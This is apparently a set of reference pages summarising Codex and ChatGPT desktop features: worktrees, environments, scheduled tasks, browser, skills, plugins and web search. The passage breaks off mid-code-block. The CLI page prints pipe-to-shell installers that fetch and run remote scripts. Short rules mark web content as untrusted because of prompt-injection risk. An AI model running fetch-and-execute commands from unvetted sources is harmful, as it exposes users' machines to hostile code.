- Branch limitation: checking out a branch already used by a worktree fails with `fatal: '<branch>' is already used by worktree at '<WORKTREE_PATH>'`; check out another branch on the worktree, or use Handoff to move the chat into Local. Git enforces one branch per worktree so each branch has a single authoritative working copy.
- Cleanup: Codex keeps the most recent 15 Codex-managed worktrees by default (changeable, or turn off automatic deletion in settings). It won't auto-delete a worktree tied to a pinned chat, an in-progress chat, or a permanent worktree; it deletes them when you archive the chat or the limit is exceeded. A snapshot is saved before deletion; reopening the chat offers a restore. Chats remain in history after the worktree directory is deleted; permanent worktrees aren't deleted when you archive their chats.
- FAQ: change the location under **Settings > Worktrees > Worktree root**; move chats between Local and Worktree with **Hand off** in the chat header.
- Worktrees require the project to be a Git repository; scheduled tasks on non-version-controlled projects run directly in the project directory.
- Git only allows a branch to be checked out in one place at a time — a branch created on a worktree (**Create branch here**) can't also be checked out in the local checkout or another worktree until it's freed via Handoff.
- Codex-managed worktrees live under `$CODEX_HOME/worktrees` (configurable at **Settings > Worktrees > Worktree root**); Codex keeps the most recent 15 by default and deletes older ones unless a pinned/in-progress chat or a permanent worktree references them (a snapshot is saved before deletion and can be restored).
- Permanent worktrees (created from a project's three-dot menu) are not automatically deleted and can host multiple chats.
## Related
- [modes.md](./modes.md)
- [local-environment.md](./local-environment.md)
references/environments/local-environment.md
# Local environments
Configure setup steps for worktrees and common actions for a project, in Codex in the ChatGPT desktop app. Stored in the `.codex` folder at the project root, so the configuration can be checked into Git and shared.
## Signature / Usage
```bash
# Setup script example (runs automatically when Codex creates a new worktree)
npm install
npm run build
```
```bash
# Action script example (e.g. a "Run" action for a Node.js project)
npm start
```
## Options / Props
| Name | Description |
|------|-------------|
| Setup script | Runs automatically when Codex creates a new worktree at the start of a new chat; installs dependencies or runs a build. Platform-specific overrides available (macOS/Windows/Linux). |
| Actions | Common tasks (dev server, test suite) defined per project; appear in the ChatGPT desktop app top bar and run in the [integrated terminal](https://learn.chatgpt.com/docs/integrated-terminal). Platform-specific scripts and an icon can be set per action. |
| Built-in Git tools | Diff pane with inline comments, stage/revert chunks or files, commit, push, and create a pull request without leaving the app. |
## Notes
- Setup scripts: worktrees run in different directories than local chats, so the project may be missing dependencies or files not checked into the repository; setup scripts run automatically when Codex creates a new worktree at the start of a new chat. Define macOS, Windows, or Linux scripts to override the default.
- Actions: appear in the desktop app top bar for quick access and run within the integrated terminal (use the integrated terminal directly for one-off debugging); choose an icon per action; for platform-specific commands define scripts per OS. Example "Run" action: `npm start`.
- Built-in Git tools: the diff pane shows changes in the current checkout and supports inline comments for Codex to address; stage or revert individual chunks or entire files, commit, push a branch, and create a pull request. Use the integrated terminal for Git operations not exposed in the app.
- Local environments are available only in Codex in the ChatGPT desktop app (select **Codex** before configuring or using one).
- Configured through ChatGPT desktop app settings; if a repository contains more than one project, open the project directory that has the shared `.codex` folder.
- To isolate concurrent changes from the local checkout, start the task in a worktree (see `git-worktrees.md`).
## Related
- [git-worktrees.md](./git-worktrees.md)
- [modes.md](./modes.md)
references/environments/modes.md
# Codex environments (chat run modes)
Where a Codex chat runs and how its files stay isolated, chosen in the ChatGPT desktop app when starting a chat: Local, Worktree, or Cloud.
## Signature / Usage
In the ChatGPT desktop app, open the ChatGPT dropdown and select **Codex**. When starting a chat, choose where it runs. Use **Work in** to choose **This computer** or **Cloud**; for a local Git project, the separate **Worktree** control isolates changes from your current checkout.
## Options / Props
| Name | Description |
|------|-------------|
| Local | Work directly in the current project directory. |
| Worktree | Isolate changes in a Git worktree; runs on the local machine like Local. |
| Cloud | Start a remote task in its own workspace from a published, reusable cloud environment. |
## Notes
- Local and Worktree both run on the local computer; only Cloud runs remotely.
- A cloud task requires a published environment you can access. If none is available, create one on the web or in the desktop app, or ask a workspace admin for access to a shared environment. Selecting an environment is separate from creating or publishing it; shared access lets you use the environment but doesn't grant permission to edit it. You can also start and continue cloud tasks on the web or on mobile (open **Codex** and select a published environment).
- To create an environment, start a new task on the web or in the desktop app, choose **Work in** > **Cloud**, open **Select environment**, then select **Create environment**; Codex inspects your selected repositories and helps prepare and test their setup before you publish it (see cloud-environments.md).
- Each Cloud task has its own working files; file changes in a task don't update the reusable environment. To change the starting point for future tasks, update and republish the environment's setup. A cloud task uses the files and services in its cloud environment; your computer's local files, running processes, browser sign-ins, and VPN access aren't automatically transferred.
- This page is the desktop-app run-mode selector, distinct from `cloud-environment.md` (Codex Cloud (Legacy) environment configuration) and `getting-started/cloud.md` (Codex Cloud overview).
## Related
- [git-worktrees.md](./git-worktrees.md)
- [cloud-environments.md](./cloud-environments.md)
- [cloud-environment.md](./cloud-environment.md)
- [Codex cloud](../getting-started/cloud.md)
- [Prompting](../agent-configuration/prompting.md)
references/environments/README.md
# Environments
| Name | Description | Path |
| --- | --- | --- |
| Codex Cloud (Legacy) | Codex Cloud (Legacy) continues to support environments for Code Review and the Linear and GitHub integrations. For the current web, mobile, and desktop experience, see [Cloud environments](./cloud-environments.md). Use environments to control what Codex installs and runs during cloud chats: dependencies, tools (linters, formatters), and environment variables. Configured in Codex settings (chatgpt.com/codex/settings/environments). | [cloud-environment.md](./cloud-environment.md) |
| Cloud environments | A cloud environment is the reusable setup (repositories, dependencies, tools, access settings) that Codex Cloud tasks start from. Each new task gets its own isolated workspace from the published environment; Codex inspects the repositories, prepares the setup, and tests it with you. | [cloud-environments.md](./cloud-environments.md) |
| Worktrees | Git worktrees in Codex in the ChatGPT desktop app let Codex run multiple independent chats in the same project without interfering with each other, and move a chat between Local and Worktree via Handoff. | [git-worktrees.md](./git-worktrees.md) |
| Local environments | Configure setup steps for worktrees and common actions for a project, in Codex in the ChatGPT desktop app. Stored in the `.codex` folder at the project root, so the configuration can be checked into Git and shared. | [local-environment.md](./local-environment.md) |
| Codex environments (chat run modes) | Where a Codex chat runs and how its files stay isolated, chosen in the ChatGPT desktop app when starting a chat: Local, Worktree, or Cloud. | [modes.md](./modes.md) |
references/extend/automations.md
# Scheduled tasks
Schedule recurring tasks to run in the background (formerly "automations"). Review active, paused, and completed tasks and recent runs in **Scheduled**.
## Signature / Usage
Advanced schedules use an RFC 5545 recurrence rule (RRULE):
```text
RRULE:FREQ=MONTHLY;BYMONTHDAY=1;BYHOUR=9;BYMINUTE=0
```
Invoke a skill explicitly in a scheduled task prompt (desktop app):
```markdown
Check my commits from the last 24h and submit a $recent-code-bugfix.
```
### Task kinds
- Standalone scheduled task: starts a new chat per run and reports in **Scheduled**.
- Scheduled task in a chat: returns to the same chat with existing context; supports minute-based intervals, daily, and weekly schedules. Make the prompt durable (what to do each run, when to report, when to stop or ask).
- Event-triggered (eligible plans, web and mobile only): Gmail (new messages, filter by sender/subject), Slack (new messages in selected channels; add `@ChatGPT` to each channel; no reactions/edits/deletes/DMs), GitHub (pull request activity; filter by PR, author, title, label). One task can use multiple event triggers but cannot combine them with a time-based schedule. Admins control via the **Allow event-triggered scheduled tasks** permission.
## Options / Props
### Where tasks run
| Surface | Behavior |
|---------|----------|
| ChatGPT desktop app | Works with local projects; runs in the project directory or an isolated worktree (Git repos). Computer must be on and app running. Non-Git projects run directly in the project directory. |
| ChatGPT web | Created from Chat or ChatGPT Work; manage in **Scheduled**. Uses uploaded context and connected tools; no local folder or worktree between runs. |
| Codex CLI / IDE extension | No Scheduled management interface; use web or desktop app. Use CLI/IDE to prepare and test a prompt, skill, or script. |
## Notes
- Scheduled tasks run unattended with your default sandbox settings: read-only and workspace-write fail on out-of-scope writes, network, or app access; full access carries elevated risk. Start with the narrowest access.
- They use `approval_policy = "never"` when organization policy allows; if admin requirements disallow it, they fall back to the selected permission mode's approval behavior.
- Tasks created with ChatGPT Work (web) or ChatGPT Work / Codex (desktop) can use plugins and skills.
- Worktree option: frequent schedules can create many worktrees; archive runs you no longer need and avoid pinning runs unless you intend to keep their worktrees.
- Test the prompt in a regular chat first and review the first few runs.
- Source notes that GPT-5.5 retires from Codex with ChatGPT sign-in on October 14, 2026 (19:00 UTC); review scheduled tasks using it and choose `gpt-6.1-sol` if your plan provides access. API-key sessions are unaffected.
- Admins: team-shared recurring work is documented under Team Tasks (enterprise docs, outside this page).
- Source: https://learn.chatgpt.com/docs/automations (retrieved 2026-10).
## Related
- [Build skills](./build-skills.md)
- [Plugins](./plugins.md)
references/extend/browser.md
# Browser
Browser lets ChatGPT open websites, gather current information, and act while you stay in control. In the ChatGPT desktop app it is a built-in browser shared between you and ChatGPT; on web, ChatGPT Work uses a cloud browser.
## Signature / Usage
```text
Use the browser to open http://localhost:3000/settings, reproduce the layout
bug, and fix only the overflowing controls.
```
Reference the built-in browser with `@Browser`; use `@Chrome` for the Chrome extension.
### Desktop built-in browser
- Open with **New tab** then a URL, or press Cmd+T (Ctrl+T on Windows and Linux).
- Cmd+Shift+B (Ctrl+Shift+B) toggles tabs / returns from full view to split view.
- **Settings > Browser**: manage browser data, history, download location, **Ask where to save downloads**, **Agent permissions** (defaults for browsing, downloads, uploads; per-site exceptions).
- Annotate: select **Annotate**, click an element or drag an area, write and save a comment, then ask ChatGPT to address comments. **Adjust** gives style controls (font, text, spacing, color).
- Preview workflow: start the dev server, open the local route, review rendered state beside the diff, leave comments, ask for narrow fixes.
### Developer mode
```text
This app is slow. Use @Browser to capture a performance trace and inspect
network traffic, then identify the bottleneck.
```
Enable in **Settings > Browser > Developer mode > Enable full CDP access**. Admins disable with:
```toml
[features]
browser_use_full_cdp_access = false
```
### ChatGPT Work cloud browser (web / mobile)
- Runs on a separate cloud computer with its own cookies and sessions; ChatGPT decides when to use it.
- **Cloud browser** settings: **Always ask**, **Auto approve**, **Always allow** (not recommended); per-site allow/block.
- Sign in through the secure sign-in form (credentials not visible to the model) or **Sign in on web page instead**; clear data at **Settings > Cloud browser > Browser data > Clear all**.
- Website sign-in is on Plus and Pro plans (web and mobile); not for Enterprise or Edu workspaces. Enterprise admins must enable cloud browsing; paid plans other than Free and Go in all regions.
## Notes
- Not available in Codex CLI or the Codex IDE extension; use the ChatGPT desktop app.
- The built-in browser uses a profile separate from your regular browser; use the browser extension for existing Chrome, Edge, Brave, Opera, or Vivaldi tabs and profiles.
- ChatGPT cannot automate file uploads in the built-in browser and asks confirmation before sensitive actions (submitting information, purchases, permission changes, deletion).
- Treat page content as untrusted; a site permission does not make its content trustworthy.
- Admins can restrict origins, uploads, downloads, and developer access via managed browser controls.
- Source: https://learn.chatgpt.com/docs/browser (retrieved 2026-10).
## Related
- [Computer Use](./computer-use.md)
- [Plugins](./plugins.md)
references/extend/build-skills.md
# Build skills
Agent skills package instructions, resources, and optional scripts so ChatGPT or Codex can follow a workflow reliably. Built on the open agent skills standard (agentskills.io).
## Signature / Usage
```md
---
name: skill-name
description: Explain exactly when this skill should and should not trigger.
---
Skill instructions for ChatGPT or Codex to follow.
```
Directory layout:
```text
my-skill/
SKILL.md Required: instructions + metadata
scripts/ Optional: executable code
references/ Optional: documentation
assets/ Optional: templates, resources
agents/
openai.yaml Optional: appearance and dependencies
```
Create with the built-in creator: `$skill-creator` in Codex, `@skill-creator` in ChatGPT Work.
### Optional metadata (`agents/openai.yaml`)
```yaml
interface:
display_name: "Optional user-facing name"
short_description: "Optional user-facing description"
icon_small: "./assets/small-logo.svg"
icon_large: "./assets/large-logo.png"
brand_color: "#3B82F6"
default_prompt: "Optional surrounding prompt to use the skill with"
policy:
allow_implicit_invocation: false
dependencies:
tools:
- type: "mcp"
value: "openaiDeveloperDocs"
description: "OpenAI Docs MCP server"
transport: "streamable_http"
url: "https://developers.openai.com/mcp"
```
`allow_implicit_invocation` (default `true`): when `false`, Codex does not implicitly invoke the skill; explicit `$skill` invocation still works.
### Enable or disable local skills
```toml
[[skills.config]]
path = "/path/to/skill/SKILL.md"
enabled = false
```
Restart Codex after changing `~/.codex/config.toml`.
### Install curated skills
Send this in the Codex composer (it is a skill invocation, not a shell command):
```text
$skill-installer linear
```
## Options / Props
### Where Codex loads local skills
| Scope | Location | Use |
|-------|----------|-----|
| REPO | `$CWD/.agents/skills` | Skills relevant to a working folder |
| REPO | `$CWD/../.agents/skills` | Skills for a shared parent folder |
| REPO | `$REPO_ROOT/.agents/skills` | Root skills for everyone in the repo |
| USER | `$HOME/.agents/skills` | Personal skills for any repo |
| ADMIN | `/etc/codex/skills` | Machine/container-wide default skills |
| SYSTEM | Bundled with Codex | skill-creator, plan skills, etc. |
## Notes
- `SKILL.md` must include `name` and `description`.
- Progressive disclosure: only name and description (plus file path in Codex) are listed initially; the full `SKILL.md` loads when the skill is selected. The initial list uses at most 2% of the model's context window, or 8,000 characters when unknown; Codex shortens descriptions first and may omit skills with a warning. Set `skills.max_context_tokens` (up to 10,000 tokens) to change the budget.
- Activation: explicit (`@` in ChatGPT; `/skills` or `$` in Codex CLI / IDE extension) or implicit by matching `description`. Front-load the key use case and trigger words.
- Codex detects skill changes automatically; restart if an update does not appear. Symlinked skill folders are followed. Same-name skills are not merged.
- Standalone skills: ChatGPT desktop app, Codex CLI, IDE extension. Skills bundled in plugins also work in Chat and Work on web, desktop, and mobile.
- To distribute skills, bundle two or more, or ship with a connector, package them as a plugin (developers.openai.com/plugins/build/plugins).
- Best practices: one job per skill; prefer instructions over scripts unless determinism or external tooling is needed; imperative steps with explicit inputs/outputs; test prompts against the description.
- These are Codex / ChatGPT skills (`.agents/skills`), distinct from Claude Code Skills (`.claude/skills`, SKILL.md of this repository).
- Source: https://learn.chatgpt.com/docs/build-skills (retrieved 2026-10).
## Related
- [Plugins](./plugins.md)
- [Record & Replay](./record-and-replay.md)
- [Scheduled tasks](./automations.md)
references/extend/computer-use.md
# Computer Use
With Computer Use, ChatGPT can see and operate graphical user interfaces on macOS or Windows (ChatGPT desktop app, with ChatGPT Work and Codex, in supported regions).
## Signature / Usage
```text
Open the app with Computer Use, reproduce the onboarding bug, and fix the
smallest code path that causes it. After each change, run the same UI flow
again.
```
Mention `@Computer` or `@AppName` (for example `@Chrome`), or ask ChatGPT to use Computer Use.
### Setup
1. In the desktop app, select ChatGPT and switch to Work, or select Codex.
2. Open **Plugins > Computer Use**, select **Install plugin** (or **Enable**), turn on the Computer Use server and skill toggles, then **Try now**.
3. Review app access in **Settings > Computer use** (**Always-allowed apps**; connected browser controls have **Manage**).
4. macOS: grant **Screen Recording** (see the app) and **Accessibility** (click, type, navigate). Windows: keep the target app visible on the active desktop.
### Windows app policy
```toml
[computer_use.windows]
always_allowed_app_ids = ["mspaint.exe"]
```
Stored in `$CODEX_HOME/config.toml`; use the app identifier Windows Computer Use reports (executable name, or app user model ID for packaged apps). Older `$CODEX_HOME/computer-use/config.toml` allow-list entries are migrated; its `denied` list is not part of the current schema. Admins disable with `[features].computer_use = false` in `requirements.toml`.
### Locked use (macOS only)
Enable in **Settings > Computer Use**. Installs an Apple authorization plug-in so ChatGPT can use Computer Use after the Mac locks, only during active trusted Computer Use turns. Safeguards: short-lived scoped authorization, all displays covered while unlocked, relock and pause on local keyboard or pointer input.
## Notes
- Windows runs in the foreground on the active desktop and cannot work in the background; use remote control from a phone or a Windows VM for tasks that continue while you step away.
- System permissions are separate from per-app approvals; file reads, edits, and shell commands still follow sandbox and approval settings.
- If an app has a dedicated plugin or MCP server, prefer that structured integration; for local web apps being built, use the built-in browser first.
- It cannot automate terminal apps or ChatGPT itself, cannot authenticate as administrator, and cannot approve security and privacy permission prompts.
- Changes made through desktop apps may not appear in the review pane until saved to disk and tracked by the project.
- For visual-judgment tasks the source recommends GPT-6 Astra when available in the model selector.
- Source: https://learn.chatgpt.com/docs/computer-use (retrieved 2026-10).
## Related
- [Browser](./browser.md)
- [Record & Replay](./record-and-replay.md)
references/extend/plugins.md
# Plugins
Plugins bundle capabilities (skills, MCP servers, browser extensions, hooks) into reusable workflows in ChatGPT and Codex. Both products share one universal plugin directory.
## Signature / Usage
```text
codex
/plugins
```
- ChatGPT desktop app / web: open the **Plugins** tab, search or browse, open details, select the plus button to install, connect the MCP server if prompted, then start a new chat and ask ChatGPT or Codex to use the plugin.
- Codex CLI: `/plugins` opens the plugin browser. Install from a configured marketplace, then start a new session before using bundled skills or tools. Press Space on an installed plugin to turn it on or off.
- Type `@` to invoke a plugin or one of its bundled skills explicitly.
### Directory tabs
- **OpenAI**: plugins built by OpenAI.
- **Your workspace name**: plugins provided by your workspace.
- **Personal**: personal marketplace plugins (**Created by me** / **Shared with me**).
- A separate **Installed** row lists installed plugins.
## Options / Props
### Plugin parts
| Part | Description |
|------|-------------|
| Skills | Reusable instructions for specific kinds of work; loaded when needed. |
| MCP servers | Services that connect ChatGPT and Codex to tools and information in systems such as GitHub, Slack, or Google Drive. Define tools, enforce authentication, return structured data, perform actions; may include custom UI. |
| Browser extensions | Browser capabilities a plugin needs for its workflow. |
| Hooks | Commands that run at configured lifecycle points in the Codex runtime. Not supported in cloud-orchestrated ChatGPT Work; hook scripts must exist in the execution environment (enterprise admins can deploy via MDM). |
## Notes
- Availability: Chat and Work across ChatGPT on web, desktop, and mobile; Codex in the ChatGPT desktop app; Codex CLI has a plugin browser. The IDE extension does not support plugins. Plugins marked **Desktop only** require the desktop app.
- Bundled skills become available when a new chat or CLI session starts after installation.
- Sign in with ChatGPT is in beta for supported plugins and partner sites (Airtable, GitLab, HubSpot, Notion, Supabase, Vercel). It shares only name, email address, and profile picture with the partner; permissions are approved separately.
- Signed in to Codex with an OpenAI API key: you can browse, install, and manage supported OpenAI-curated plugins in Codex CLI and the desktop app; some plugins are unavailable because their connection flows need unsupported OAuth capabilities.
- When a plugin runs through a Codex host, the host's sandbox and approval policy applies.
- Uninstalling removes the plugin bundle from that environment; separately connected MCP integrations stay connected in ChatGPT until disconnected. Workspace-installed or default plugins may not offer uninstall.
- Apple Messages plugin: macOS desktop app only (Apple Silicon build in this release); sends only after approval of message and recipients; not available in web, mobile, Codex CLI, or the IDE extension.
- Workspace admins can import and sync a GitHub marketplace for their team.
- Building and distributing plugins is covered at developers.openai.com/plugins (outside this skill's scope); this page is the Codex / ChatGPT consumer side.
- Source: https://learn.chatgpt.com/docs/plugins (retrieved 2026-10).
## Related
- [Record & Replay](./record-and-replay.md)
- [Build skills](./build-skills.md)
references/extend/README.md
# Extend
| Name | Description | Path |
| --- | --- | --- |
| Scheduled tasks | Schedule recurring tasks to run in the background (formerly "automations"). Review active, paused, and completed tasks and recent runs in **Scheduled**. | [automations.md](./automations.md) |
| Browser | Browser lets ChatGPT open websites, gather current information, and act while you stay in control. In the ChatGPT desktop app it is a built-in browser shared between you and ChatGPT; on web, ChatGPT Work uses a cloud browser. | [browser.md](./browser.md) |
| Build skills | Agent skills package instructions, resources, and optional scripts so ChatGPT or Codex can follow a workflow reliably. Built on the open agent skills standard (agentskills.io). | [build-skills.md](./build-skills.md) |
| Computer Use | With Computer Use, ChatGPT can see and operate graphical user interfaces on macOS or Windows (ChatGPT desktop app, with ChatGPT Work and Codex, in supported regions). | [computer-use.md](./computer-use.md) |
| Plugins | Plugins bundle capabilities (skills, MCP servers, browser extensions, hooks) into reusable workflows in ChatGPT and Codex. Both products share one universal plugin directory. | [plugins.md](./plugins.md) |
| Record & Replay | Demonstrate a workflow on your Mac and turn it into a reusable skill, without writing a prompt from scratch. | [record-and-replay.md](./record-and-replay.md) |
| Web search | ChatGPT includes a first-party web search tool. Treat all web results as untrusted input. | [web-search.md](./web-search.md) |
references/extend/record-and-replay.md
# Record & Replay
Demonstrate a workflow on your Mac and turn it into a reusable skill, without writing a prompt from scratch.
## Signature / Usage
```text
1. In the ChatGPT desktop app, select ChatGPT and turn on Work in the switcher, or select Codex. Then open Plugins.
2. Open the + menu.
3. Select "Record a skill".
4. Review the suggested prompt, add any helpful context, and submit it.
5. When the chat asks for permission to record your actions, approve the request once you are ready to demonstrate the workflow.
6. Perform the workflow on your Mac.
7. When you are done, stop recording from the menu bar or overlay, or tell the chat that you are done.
```
Recording continues until you stop it; ChatGPT or Codex observes the actions and window content needed to learn the workflow. After you stop, it inspects the captured workflow and drafts a skill explaining when to use it, what inputs it needs, what steps to follow, and how to verify the result. You can ask for further refinements before using it.
To replay, start a new ChatGPT or Codex chat and ask it to use the generated skill, supplying the values that differ this time (file to upload, issue to create, date range, etc.). The product completes the workflow with the tools available in the current environment: Computer Use, browser actions, and installed plugins.
## Requirements
- Available on macOS only.
- Computer Use must be available and enabled.
- If an organization manages Codex with `requirements.toml`, the `[features].computer_use` requirement controls Record & Replay too — disabling `computer_use` also disables Record & Replay.
## Troubleshooting
- "I don't see Record & Replay": if your organization manages Codex with `requirements.toml`, the `[features].computer_use` requirement controls Record & Replay too. Setting `computer_use = false` makes both features unavailable. (The previously listed regional exclusion — EEA, UK, Switzerland — is not stated on the current official page.)
## Tips for better recordings
- Keep the demonstration short and complete.
- State your goal and any specific inputs that might vary between skill uses before you start recording.
- Use realistic inputs, but avoid secrets and sensitive data.
- Refine the skill after recording to call out hidden preferences that matter, such as naming conventions, field defaults, or decision points.
- Stop recording when the workflow is complete instead of continuing into unrelated cleanup.
## When to build a plugin instead
Record & Replay is a fast way to create a skill from a demonstrated workflow. To distribute a stable package across a team, bundle multiple skills, include connectors, add MCP servers, or manage install metadata, package the workflow as its own plugin instead (see [Build plugins](https://developers.openai.com/plugins/build/plugins), outside this skill's scope).
## Notes
- Pick a workflow you already know how to complete; Record & Replay works best when the steps are stable and the success criteria are clear.
- The "skill" this feature produces is a Codex/ChatGPT skill document (instructions + supporting resources), distinct from this repository's Claude Code Skills (`SKILL.md`) and from the OpenAI Apps SDK's plugin "skills" concept — see `references/administration/skill-controls.md` for the ChatGPT workspace / filesystem / plugin skill distribution models.
- For MCP server configuration referenced above (used by replayed workflows and plugin-based alternatives), see [MCP server configuration](../config/mcp-config.md).
## Related
- [Skill controls](../administration/skill-controls.md)
- [Model Context Protocol (MCP config)](../config/mcp-config.md)
references/extend/web-search.md
# Web search
ChatGPT includes a first-party web search tool. Treat all web results as untrusted input.
## Signature / Usage
```bash
codex --search "Summarize the latest release notes for this dependency"
```
Searches appear as `web_search` items in the interactive transcript and in `codex exec --json` output.
## Options / Props
```toml
web_search = "live"
```
| Value | Description |
|-------|-------------|
| (default) | Cached search for local Codex chats, using an OpenAI-maintained index. |
| `"live"` | Fetch live results; use when the task depends on the latest information. |
| `"indexed"` | Permits external web access only when the search index gates the request. |
| `"disabled"` | Turns the tool off. |
Related keys: `tools.web_search.allowed_domains`, managed `allowed_web_search_modes`.
### Custom model provider
```toml
model_provider = "custom"
web_search = "live"
[model_providers.custom]
name = "Custom Responses provider"
base_url = "https://example.com/v1"
env_key = "CUSTOM_RESPONSES_API_KEY"
supports_standalone_web_search = true
```
## Notes
- Cached mode lowers but does not remove prompt injection risk. With full access, web search defaults to live.
- Web search is a hosted tool separate from sandboxed command networking: it does not use the permission profile's network proxy or domain allowlist and can remain available when command network access is disabled. Search-domain filters do not restrict local command traffic, apps, connectors, or MCP servers.
- `supports_standalone_web_search` defaults to `false`; standalone web search is under development and off by default, and the provider, model, and runtime must all support it. Workspace and managed restrictions still apply.
- Desktop app: ask for current information in a chat; use the Deep research plugin (Work > Plugins > Deep research) for multi-source reports. Web: deep research via the + menu in Work, if available. Workspace settings can limit search.
- IDE extension uses the connected Codex host's search mode.
- Network boundaries for Codex cloud environments are covered by the Internet access page.
- Source: https://learn.chatgpt.com/docs/web-search (retrieved 2026-10).
## Related
- [Plugins](./plugins.md)
- [Browser](./browser.md)
references/getting-started/best-practices.md
# Best practices
Getting started with Codex and proven practices for better results, across the CLI, IDE extension, and ChatGPT desktop app — prompting, planning, validation, MCP, skills, and scheduled tasks.
## Signature / Usage
A good default prompt includes four things:
- **Goal** — what are you trying to change or build?
- **Context** — which files, folders, docs, examples, or errors matter (you can `@` mention files)?
- **Constraints** — what standards, architecture, safety requirements, or conventions should Codex follow?
- **Done when** — what should be true when the task is complete (tests passing, behavior changed, bug no longer reproducing)?
## Options / Props
| Reasoning level | When to use |
|------|-------------|
| Low | Faster, well-scoped tasks |
| Medium / High | More complex changes or debugging |
| Extra High | Long, agentic, reasoning-heavy tasks |
## Notes
- Source: https://learn.chatgpt.com/guides/best-practices (retrieved 2026-10; the `.md` twin returns 404, so content follows the "Best practices" section of the learn.chatgpt.com llms-full extract).
- Reasoning: use GPT-6.1 Sol when available to your account and client, starting with the default reasoning effort in your client; start with **High** for GPT-6 Luna or **Light** for GPT-6 Astra (`low` in configuration), then adjust (see models.md).
- `AGENTS.md`: encode repo layout and important directories, how to run the project, build/test/lint commands, engineering conventions and PR expectations, constraints and do-not rules, and what done means and how to verify. `/init` in the CLI scaffolds a starter `AGENTS.md`; use a global `AGENTS.md` in `~/.codex` (or `$CODEX_HOME`) for personal defaults, a repo-level file for shared standards, and subdirectory files for local rules (the closer file wins). Keep it short and accurate; reference task-specific markdown files when it grows; when Codex makes the same mistake twice, ask for a retrospective and update it. A `code_review.md` referenced from `AGENTS.md` can guide review behavior.
- Configure for consistency: personal defaults in `~/.codex/config.toml` (**Settings > Configuration > Open config.toml** in the desktop app), repo-specific behavior in `.codex/config.toml`, command-line overrides only for one-offs; profile overrides in `$CODEX_HOME/profile-name.config.toml`. Start with default permissions (approval mode and sandbox mode are the two knobs) and loosen only for trusted repos or specific workflows. The CLI, IDE extension, and desktop app share the same configuration layers. Many quality issues are setup issues (wrong working directory, missing write access, wrong model defaults, missing tools).
- Review: toggle the diff panel in the desktop app to review changes locally and give row-level feedback as context for the next turn. `/review` offers review against a base branch (PR-style), uncommitted changes, a commit, or custom instructions. With GitHub Cloud, Codex can review PRs automatically or when you @Codex.
- MCP: use it when needed context lives outside the repo, changes frequently, you want a tool instead of pasted instructions, or you need a repeatable integration; Codex supports STDIO and Streamable HTTP servers with OAuth. In the desktop app use **Settings > MCP servers**; in the CLI `codex mcp add`.
- Skills: personal skills live in `$HOME/.agents/skills`; shared team skills can be checked into `.agents/skills` in a repository. The `$skill-creator` skill scaffolds a first version; keep it local while iterating, then package it as a plugin to share. The description should say what the skill does and when to use it, with realistic trigger phrases.
- Scheduled tasks: create from the **Scheduled** page by choosing the project, prompt, cadence, and a dedicated Git worktree or your local environment; the prompt can invoke skills. Use them for reflection and maintenance too (review recent chats, summarize repeated friction).
- Organize long-running chats: pin chats and create worktrees in the desktop app; in the CLI use `/experimental`, `/resume`, `/fork` (new chat preserving the original transcript), `/compact` (Codex also compacts automatically), `/subagents`, `/theme`, `/apps`, `/status`. Keep one chat per coherent unit of work; fork only when work truly branches; use subagents to offload bounded work (exploration, tests, triage).
- Common mistakes: overloading the prompt with durable rules instead of `AGENTS.md` or a skill; not letting the agent see its work (no build/test commands); skipping planning on complex tasks; giving full permission before understanding the workflow; running live tasks on the same files without Git worktrees; scheduling a recurring task before it's reliable manually; watching step by step instead of working in parallel; using one chat for an entire project.
- Codex is useful even with an imperfect prompt, but clear prompting makes results more reliable, especially in large or higher-stakes codebases. Speech dictation in the desktop app is one way to provide context faster.
- **Plan first for difficult tasks**: for complex or ambiguous work, ask Codex to plan before coding. Plan mode (`/plan` or Shift+Tab) lets Codex gather context, ask clarifying questions, and build a stronger plan before implementation; alternatives are asking Codex to interview you first, or using a `PLANS.md` template for multi-step work.
- **Testing and review**: ask Codex to create/modify tests, run the test suite, run lint/type-checking, and validate behavior — don't just generate code. The `/review` slash command runs a GitHub-style review against a base branch, uncommitted changes, or a specific commit.
- **MCP**: connect Codex to external tools/systems when needed context lives outside the repo or changes frequently, instead of copy-pasting live information into prompts; start with one or two tools that remove a real manual step rather than connecting everything at once.
- **Skills**: once a workflow becomes repeatable, package it as a `SKILL.md` file, scoped to one job with clear inputs/outputs; start with 2-3 concrete use cases and iterate rather than covering every edge case up front.
- **Scheduled tasks**: automate stable, recurring workflows (e.g. commit summaries, release notes) through the desktop app's Scheduled page once a skill is proven; skills define the method, scheduled tasks define the cadence.
- Durable per-repo/per-user guidance (`AGENTS.md`, `config.toml` layering, MCP server setup) is documented in detail on separate reference pages outside this category (agent-configuration / config scopes).
## Related
- [cli.md](./cli.md)
- [ide.md](./ide.md)
- [cloud.md](./cloud.md)
- [models.md](./models.md)
references/getting-started/cli-customization.md
# CLI customization
Terminal-specific options for how interactive Codex CLI sessions look and how you enter commands and prompts: syntax-highlight themes, shell completions, and an external prompt editor.
## Signature / Usage
```bash
# Generate a completion script (bash | zsh | fish | powershell)
codex completion zsh
eval "$(codex completion zsh)"
```
```text
/theme
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `/theme` | slash command | Opens the theme picker for the TUI's Markdown/diff syntax highlighting; saves the selection to `tui.theme` in `$CODEX_HOME/config.toml`. |
| custom `.tmTheme` | file | Place under `$CODEX_HOME/themes` to make it selectable from the theme picker. |
| `codex completion <shell>` | CLI | Prints a completion script for Bash, Z shell, Fish, or PowerShell. |
| Ctrl+G | keyboard shortcut | Opens the external editor set by `VISUAL` (falling back to `EDITOR`) for composing a longer prompt; saving and closing returns the text to the composer. |
## Notes
- If the Z shell reports `command not found: compdef`, run `autoload -Uz compinit && compinit` before `eval "$(codex completion zsh)"`.
- The TUI syntax-highlights fenced Markdown code blocks and file diffs. Load completions from your shell configuration, restart the shell, type `codex`, and press Tab to verify.
- For the full interactive keyboard shortcut and command/option list, see the CLI reference page (`/docs/developer-commands`).
- Source: https://learn.chatgpt.com/docs/cli-customization (retrieved 2026-10).
## Related
- [Codex CLI](./cli.md)
references/getting-started/cli.md
# Codex CLI
Inspect code, make changes, run commands, and automate repeatable work without leaving your terminal. Works against your local repository with configurable model, reasoning effort, and permissions.
## Signature / Usage
Install with one of the standalone installers, npm, or Homebrew, then run `codex` from a project directory:
```bash
# macOS/Linux
curl -fsSL https://chatgpt.com/codex/install.sh | sh
# Windows
powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex"
# npm
npm install -g @openai/codex
# Homebrew
brew install --cask codex
```
```bash
